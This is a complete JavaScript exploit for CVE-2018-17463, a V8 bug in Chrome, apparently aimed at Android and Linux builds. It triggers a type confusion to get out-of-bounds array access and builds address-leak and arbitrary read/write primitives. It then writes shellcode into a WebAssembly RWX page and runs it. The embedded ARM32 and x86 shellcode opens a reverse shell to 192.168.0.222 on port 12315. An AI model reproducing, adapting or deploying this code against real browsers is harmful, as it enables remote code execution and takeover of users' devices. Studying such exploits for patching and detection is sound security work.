/*CVE-2018-17463
Incorrect side effect annotation in V8 in Google Chrome
prior to 70.0.3538.64 allowed a remote attacker
to execute arbitrary code inside a sandbox via a crafted HTML page.
adb logcat | grep chromium
*/
/*
---------- utils ---------- start ----------
*/
class Log {
constructor(l, s=false){
this.level = l
this.syntax = s
this.lv = {
debug: 0,
warn: 1,
success: 2,
error: 3,
}
}
setLevel(l) {
this.level = l
}
toString(v, l) {
var s = v
if (v.__proto__ === Object.prototype || v.__proto__ === Array.prototype) {
s = JSON.stringify(
v/*,
function replacer(k, v) {
if (Math.floor(v) === v) {
return '0x' + v.toString(16)
}
return v
}*/
)
}
switch(l) {
case this.lv.debug:
return '[*] ' + s
break;
case this.lv.warn:
return '[!] ' + s
break;
case this.lv.success:
return '[+] ' + s
break;
case this.lv.error:
return '[-] ' + s
break;
default:
return s
}
}
debug(v) {
if(this.lv.debug >= this.level ) {
if (this.syntax) {
eval(`;%DebugPrint(v);`)
} else {
console.log(this.toString(v, this.lv.debug))
}
}
}
warn(v) {
if(this.lv.warn >= this.level ) {
console.log(this.toString(v, this.lv.warn))
}
}
success(v) {
if(this.lv.success >= this.level ) {
console.log(this.toString(v, this.lv.success))
}
}
error(v) {
if(this.lv.error >= this.level ) {
console.log(this.toString(v, this.lv.error))
}
eval(`
throw new Error()
`)
}
break() {
if (this.syntax) {
eval(`;%SystemBreak();`)
}
}
/*
print float Array
*/
fArray(a, bs=8) {
if (this.level > this.lv.debug) {
return
}
if(bs === 4) {
console.log('[*] uArray[' + a.length + ']:')
for(let i = 0; i < a.length; i++) {
console.log('\t[' + i + ']:\t+0x' + (i*bs).toString(16) + ':\t0x' + a[i].toString(16))
}
} else
if(bs === 8) {
console.log('[*] fArray[' + a.length + ']:')
for(let i = 0; i < a.length; i++) {
const [lo, hi] = funcUtils.f2u(a[i])
console.log('\t[' + i + ']\t' + '0x' + (i*bs).toString(16) + ':\t0x' + lo.toString(16))
console.log('\t[' + i + ']\t' + '0x' + (i*bs+(bs/2)).toString(16) + ':\t0x' + hi.toString(16))
}
}
}
}
const dlog = new Log(0, false)
const __EXPERI__ = false
const __ANDROID__ = true
var funcUtils = (
function() {
return {
f2u: function(v) {
let f64 = new Float64Array(1)
let u32 = new Uint32Array(f64.buffer)
f64[0] = v
return u32
},
u2f: function(lo, hi) {
let f64 = new Float64Array(1)
let u32 = new Uint32Array(f64.buffer)
u32[0] = lo
u32[1] = hi
return f64
},
utf8ToString: function(h, p) {
let s = ""
for (i = p; h[i]; i++) {
s += String.fromCharCode(h[i])
}
return s
},
/*
find value index of float array
if bs === 4:
return [index, 0/1]
if bs === 8:
return [indxe, 0]
*/
fArrayIndexOf: function(a, v, bs=4) {
for(let i = 0; i < a.length; i++) {
if (bs === 8) {
if (a[i] === v) return [i, 0]
} else
if (bs === 4) {
const [lo, hi] = this.f2u(a[i])
// console.log('0x' + lo.toString(16) + ', 0x' + hi.toString(16))
if (lo === v) return [i, 0]
if (hi === v) return [i, 1]
}
}
return null
},
getWasmFunc: function() {
/*
int hack(int x) {
int ret = puts("the gay is lazy, nothing left.");
return ret + x;
}
*/
let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,104,97,99,107,0,1,10,143,128,128,128,0,1,137,128,128,128,0,0,65,16,16,0,32,0,106,11,11,165,128,128,128,0,1,0,65,16,11,31,116,104,101,32,103,97,121,32,105,115,32,108,97,122,121,44,32,110,111,116,104,105,110,103,32,108,101,102,116,46,0])
let wasmImports = {
env: {
puts: function puts (i32) {
// console.log(i32)
// console.log('the gay is lazy, nothing left.')
console.log(funcUtils.utf8ToString(h, i32))
return 0x41414141
}
}
}
let wasmInstance = new WebAssembly.Instance(new WebAssembly.Module(wasmCode), wasmImports)
let h = new Uint8Array(wasmInstance.exports.memory.buffer)
return wasmInstance.exports.hack
},
getWasmOff: function() {
if (__ANDROID__) {
// JSFunciton -> JS_TO_WASM_FUNCTION -> Instructions
return [0x18, 0x40]
} else {
// JSFunciton -> SharedFunctionInfo -> WasmExportedFunctionData -> instance -> imported_function_targets[x]
return [0xc, 0x4, 0x8, 0x64, 0x0]
}
},
getShellCode: function() {
if(__ANDROID__) {
return [
/* arm32 reverse shell 192.168.0.222 12315 */
0x02, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef,
0x00, 0x00, 0x50, 0xe3, 0x02, 0x00, 0x00, 0x0a,
0x00, 0x00, 0xa0, 0xe3, 0x01, 0x70, 0xa0, 0xe3,
0x00, 0x00, 0x00, 0xef, 0x42, 0x70, 0xa0, 0xe3,
0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0xa0, 0xe3,
0x01, 0x10, 0xa0, 0xe3, 0x05, 0x20, 0x81, 0xe2,
0x01, 0x7c, 0xa0, 0xe3, 0x19, 0x70, 0x87, 0xe2,
0x00, 0x00, 0x00, 0xef, 0x00, 0x60, 0xa0, 0xe1,
0x6c, 0x10, 0x8f, 0xe2, 0x10, 0x20, 0xa0, 0xe3,
0x01, 0x7c, 0xa0, 0xe3, 0x1b, 0x70, 0x87, 0xe2,
0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1,
0x00, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3,
0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1,
0x01, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3,
0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1,
0x02, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3,
0x00, 0x00, 0x00, 0xef, 0x30, 0x00, 0x8f, 0xe2,
0x04, 0x40, 0x24, 0xe0, 0x10, 0x00, 0x2d, 0xe9,
0x36, 0x30, 0x8f, 0xe2, 0x08, 0x00, 0x2d, 0xe9,
0x0d, 0x20, 0xa0, 0xe1, 0x10, 0x00, 0x2d, 0xe9,
0x23, 0x40, 0x8f, 0xe2, 0x10, 0x00, 0x2d, 0xe9,
0x0d, 0x10, 0xa0, 0xe1, 0x0b, 0x70, 0xa0, 0xe3,
0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0x30, 0x1b,
0xc0, 0xa8, 0x00, 0xde, 0x2f, 0x73, 0x79, 0x73,
0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
0x73, 0x68, 0x00, 0x73, 0x68, 0x00, 0x50, 0x41,
0x54, 0x48, 0x3d, 0x2f, 0x73, 0x62, 0x69, 0x6e,
0x3a, 0x2f, 0x76, 0x65, 0x6e, 0x64, 0x6f, 0x72,
0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x79,
0x73, 0x74, 0x65, 0x6d, 0x2f, 0x73, 0x62, 0x69,
0x6e, 0x3a, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65,
0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73,
0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x78, 0x62,
0x69, 0x6e, 0x00, 0x00,
]
} else {
return [
/* linux bash shell
0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68,
0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x89,
0xc1, 0x89, 0xc2, 0x6a, 0x0b, 0x58, 0xcd, 0x80,
*/
/* linux32 reverse shell 192.168.0.222 12315 */
0x31, 0xc0, 0x89, 0xc3, 0x50, 0x6a, 0x01, 0x6a,
0x02, 0x43, 0x89, 0xe1, 0xb0, 0x66, 0xcd, 0x80,
0x43, 0x68, 0xc0, 0xa8, 0x00, 0xde, 0x66, 0x68,
0x30, 0x1b, 0x66, 0x53, 0x89, 0xe1, 0x6a, 0x10,
0x51, 0x50, 0x43, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
0x80, 0x5b, 0x6a, 0x02, 0x59, 0xb0, 0x3f, 0xcd,
0x80, 0x49, 0x79, 0xf9, 0x31, 0xc9, 0x31, 0xd2,
0x52, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f,
0x62, 0x69, 0x6e, 0x89, 0xe3, 0x31, 0xc0, 0xb0,
0x0b, 0xcd, 0x80,
]
}
}
}
}
)()
function gc() {
for(var i=0;i<(1024*1024)/16;i++){
var a = new String()
}
}
function getCleanSpace() {
gc()
gc()
gc()
}
/*
---------- utils ---------- end ----------
*/
var fixedObject = (
function() {
let name = 'x'
let length = 0x30
let base = 41410000
return {
new: function() {
var obj = { a: 0 }
for(let n = 0; n < length; n++) {
eval(`obj.${name + n} = ${base + n};`)
}
return obj
},
attr: function() {
var arr = []
for (let n = 0; n < length; n++) {
arr[n] = name + n
}
return arr
},
init: function() {
name = 'x'
length = 0x30
base = 41410000
},
get: function(t) {
switch (t) {
case 'n':
return name
case 'l':
return length
case 'b':
return base
default:
return ''
}
},
set: function(t, v) {
switch (t) {
case 'n':
name = v
break
case 'l':
length = v
break
case 'b':
base = v
break
default:
break
}
},
oob: function(X, Y, oa) {
/*
collision: X, Y
oobArray: oa
*/
var obj = { a: 0 }
const x = name
for(let n = 0; n<length; n++) {
if((x + n) == X) {
eval(`obj.${X} = { x: { x1: 4141, x2:2, x3:3, x4:4, x5:5 } }`)
} else if ((x + n) == Y) {
eval(`obj.${Y} = { y: oa }`)
} else {
eval(`obj.${x + n} = {}`)
}
}
return obj
}
}
}
)()
function findCollision() {
const attrs = fixedObject.attr()
const base = fixedObject.get('b')
const name = fixedObject.get('n')
const len = fixedObject.get('l')
// the Collision values for [x, y]
var COVS = new Array(2)
eval(`
function badCreate(o){
o.a
this.Object.create(o)
${attrs.map((v) => `let ${v} = o.${v};`).join('\n')}
return [${attrs.join(', ')}];
}
`)
for (let i = 0; i < 10000; i++) {
// get bad object attr values.
let av = badCreate(fixedObject.new())
// dlog.debug(i + ': ' + av)
for (let j = 0; j < av.length; j++) {
if(av[j] != j + base && av[j] > base && av[j] < base + len ){
// dlog.debug(i + ': ' + av[j] + ' Array=> ' + av)
COVS[0] = name + j
COVS[1] = name + (av[j] - base)
// dlog.success(COVS[0] + ' & ' + COVS[1] + " are collision in directory")
dlog.break()
if(__EXPERI__) {
// debug to check Relative offset
fixedObject.set('b', 12340000)
dlog.warn('set object base to ' + fixedObject.get('b'))
obj = fixedObject.new()
av = badCreate(obj)
fixedObject.print(av)
}
return COVS
}
}
}
dlog.error('collision not found!')
return false
}
function oobArrayLength(cols, oobArray, oobLen){
/*
cols: 碰撞的两个对象
oobArray: 需要修改长度的Array对象
*/
const orgLen = oobArray.length
const [X, Y] = cols
eval(`
function badCreate(o){
o.a
this.Object.create(o)
// let ret = o.${X}.x.x1
o.${X}.x.x1 = oobLen
o.${X}.x.x3 = oobLen
// return ret
}
`)
for (let i = 0; i < 10000; i++) {
// let ret =
badCreate(fixedObject.oob(X, Y, oobArray))
// dlog.debug('[' + i + ']: ' + ret + ', length: ' + oobArray.length)
// if(ret != 4141) {
if(oobArray.length != orgLen) {
dlog.success(i + ' times, oob Array Length: ' + orgLen + ' -> ' + oobArray.length)
return oobArray.length
}
}
dlog.error('oob Array Length failed!')
}
function checkVul(){
function badCreate(o) {
o.a // = 0x10
Object.create(o)
return o.b
}
for (let i = 0; i < 10000; i++) {
let obj = { a: 0x1 }
obj.b = 0x4141
obj.c = 0x3
obj.d = 0x4
obj.e = 0x5
// r = obj元素个数
const r = badCreate(obj)
// console.log(i + ' bad.b=0x' + r.toString(16))
if ( r !== 0x4141 ) {
// dlog.success(i + ': ' + r + '!=' + obj.b)
// console.log("CVE-2018-17463 exists in the d8")
return true
}
}
return false
}
function wasmFunc() {
}
function exploit() {
if(checkVul()) {
dlog.success('CVE-2018-17463 exists in the d8')
} else {
dlog.error('CVE-2018-17463 not exists in the d8')
return false
}
getCleanSpace()
let oobArray = new Array(0x3)
oobArray[0] = 5.325793356e-315 // funcUtils.u2f(0x40404040, 0)
oobArray[1] = 5.40900888e-315 // funcUtils.u2f(0x41414141, 0)
oobArray[2] = 1.8457939563e-314 //funcUtils.u2f(0xdeadbeef, 0)
getCleanSpace()
let oobLen = 0x2000
let oobArrayBuffer = new ArrayBuffer(oobLen)
getCleanSpace()
let oobObj = { a: 0x4141 }
getCleanSpace()
const cols = findCollision()
dlog.success(cols[0] + ' & ' + cols[1] + " are collision in directory")
dlog.debug('---------- array oob before ---------- *')
// dlog.debug(oobArray)
dlog.fArray(oobArray)
oobArrayLength(cols, oobArray, 0x10)
dlog.debug('---------- array oob after ---------- *')
// dlog.debug(oobArray)
dlog.fArray(oobArray)
/* uArray
[*] fArray[16]:
[0] 0x0: 0x40404040
[0] 0x4: 0x0
[1] 0x8: 0x41414141
[1] 0xc: 0x0
[2] 0x10: 0xdeadbeef
[2] 0x14: 0x0
[3] 0x18: 0x28b04101
[3] 0x1c: 0x30
[4] 0x20: 0x25399731
[4] 0x24: 0xcccccccc
[5] 0x28: 0xcccccccc
[5] 0x2c: 0xcccccccc
[6] 0x30: 0x50e851b9
[6] 0x34: 0x28b046d1
[7] 0x38: 0x28b046d1
[7] 0x3c: 0x2000
[8] 0x40: 0x57556db0
[8] 0x44: 0x2
[9] 0x48: 0x0
[9] 0x4c: 0x0
[10] 0x50: 0x50e89949
[10] 0x54: 0x28b046d1
[11] 0x58: 0x28b046d1
[11] 0x5c: 0x8282
[12] 0x60: 0x28b072e9
[12] 0x64: 0x3c585d6d
[13] 0x68: 0x28b042ed
[13] 0x6c: 0x0
[14] 0x70: 0x0
[14] 0x74: 0x28b042ed
[15] 0x78: 0x4
[15] 0x7c: 0x28b042ed
*/
dlog.debug('find index of oobArray...')
let backingStoreIndex = []
let objectIndex = []
// in release will 0x4000
let alIndex = funcUtils.fArrayIndexOf(oobArray, oobLen)
if (alIndex === null ) alIndex = funcUtils.fArrayIndexOf(oobArray, oobLen*2)
if (alIndex === null) {
dlog.error('find backing_store index failde!')
return false
} else {
dlog.debug('to fixed backing_store index ' + alIndex)
}
/*
[5, 1] -> [6, 0]
[5, 0] -> [5, 1]
*/
backingStoreIndex = [alIndex[0] + (alIndex[1]%2), (alIndex[1]+1)%2]
dlog.success('backing_store index in oobArray: ' + backingStoreIndex)
findV = oobObj.a * 2
objectIndex = funcUtils.fArrayIndexOf(oobArray, findV)
dlog.success('object index in oobArray:' + objectIndex)
function addrOf(obj) {
/*
read obj point by oobArray
*/
oobObj.a = obj
const [index ,off] = objectIndex
return funcUtils.f2u(oobArray[index])[off]
}
function unit32RW(address, type=1, value=0) {
/*
read/write value/array by oobArray.backing_store
1: read
2: write
*/
const [index ,off] = backingStoreIndex
const [org0, org1] = funcUtils.f2u(oobArray[index])
let f64 = 0
if (off === 0) {
[f64] = funcUtils.u2f(address, org1)
} else
if (off === 1) {
[f64] = funcUtils.u2f(org0, address)
}
oobArray[index] = f64
// dlog.fArray(oobArray)
var dv = new DataView(oobArrayBuffer)
if(type === 1) {
return dv.getUint32(0, true)
} else
if (type === 2) {
if (value.__proto__ === Array.prototype) {
for(let i = 0; i < value.length; i++) {
dv.setUint32(i, value[i], true)
}
} else
if (value.__proto__ === Number.prototype) {
dv.setUint32(0, value, true)
}
}
}
const f = funcUtils.getWasmFunc()
dlog.debug('WebAssembly function return: 0x' + f().toString(16))
const JSFunciton = addrOf(f)
dlog.success('JSFunciton addr: 0x' + JSFunciton.toString(16))
let wasmOff = funcUtils.getWasmOff()
let rwx_entry = 0
if (__ANDROID__) {
const js2WasmCode = unit32RW(JSFunciton-1 + wasmOff[0])
dlog.success('JS_TO_WASM_FUNCTION addr: 0x' + js2WasmCode.toString(16))
const js2WasmIns = js2WasmCode-1 + wasmOff[1]
dlog.success('Instructions addr: 0x' + js2WasmIns.toString(16))
rwx_entry = js2WasmIns
} else {
const SharedFunctionInfo = unit32RW(JSFunciton-1 + wasmOff[0])
if(SharedFunctionInfo === 0) dlog.error('SharedFunctionInfo = 0')
dlog.success('SharedFunctionInfo addr: 0x' + SharedFunctionInfo.toString(16))
const WasmExportedFunctionData = unit32RW(SharedFunctionInfo-1 + wasmOff[1])
if(WasmExportedFunctionData === 0) dlog.error('WasmExportedFunctionData = 0')
dlog.success('WasmExportedFunctionData addr: 0x' + WasmExportedFunctionData.toString(16))
const WasmInstanceObject = unit32RW(WasmExportedFunctionData-1 + wasmOff[2])
if(WasmInstanceObject === 0) dlog.error('WasmInstanceObject = 0')
dlog.success('WasmInstanceObject addr: 0x' + WasmInstanceObject.toString(16))
let imported_function_targets = unit32RW(WasmInstanceObject-1 + wasmOff[3])
if(imported_function_targets === 0) dlog.error('imported_function_targets = 0')
dlog.success('imported_function_targets addr: 0x' + imported_function_targets.toString(16))
/*
if(true) {
let rv = 0
for(let i = 0; i < 0x10; i++) {
rv = unit32RW(imported_function_targets + i * 4)
dlog.debug('imported_function_targets + 0x' + (i*4).toString(16) + ': 0x' + rv.toString(16))
}
}
*/
rwx_entry = unit32RW(imported_function_targets + wasmOff[4])
}
if(rwx_entry === 0) dlog.error('rwx_entry = 0')
dlog.success('rwx_entry addr: 0x' + rwx_entry.toString(16))
dlog.debug('write shellcode at rwx_entry memory: 0x' + rwx_entry.toString(16))
let shellcode = funcUtils.getShellCode()
unit32RW(rwx_entry, 2, shellcode)
dlog.debug('dangerous to run shellcode...')
f()
}
exploit()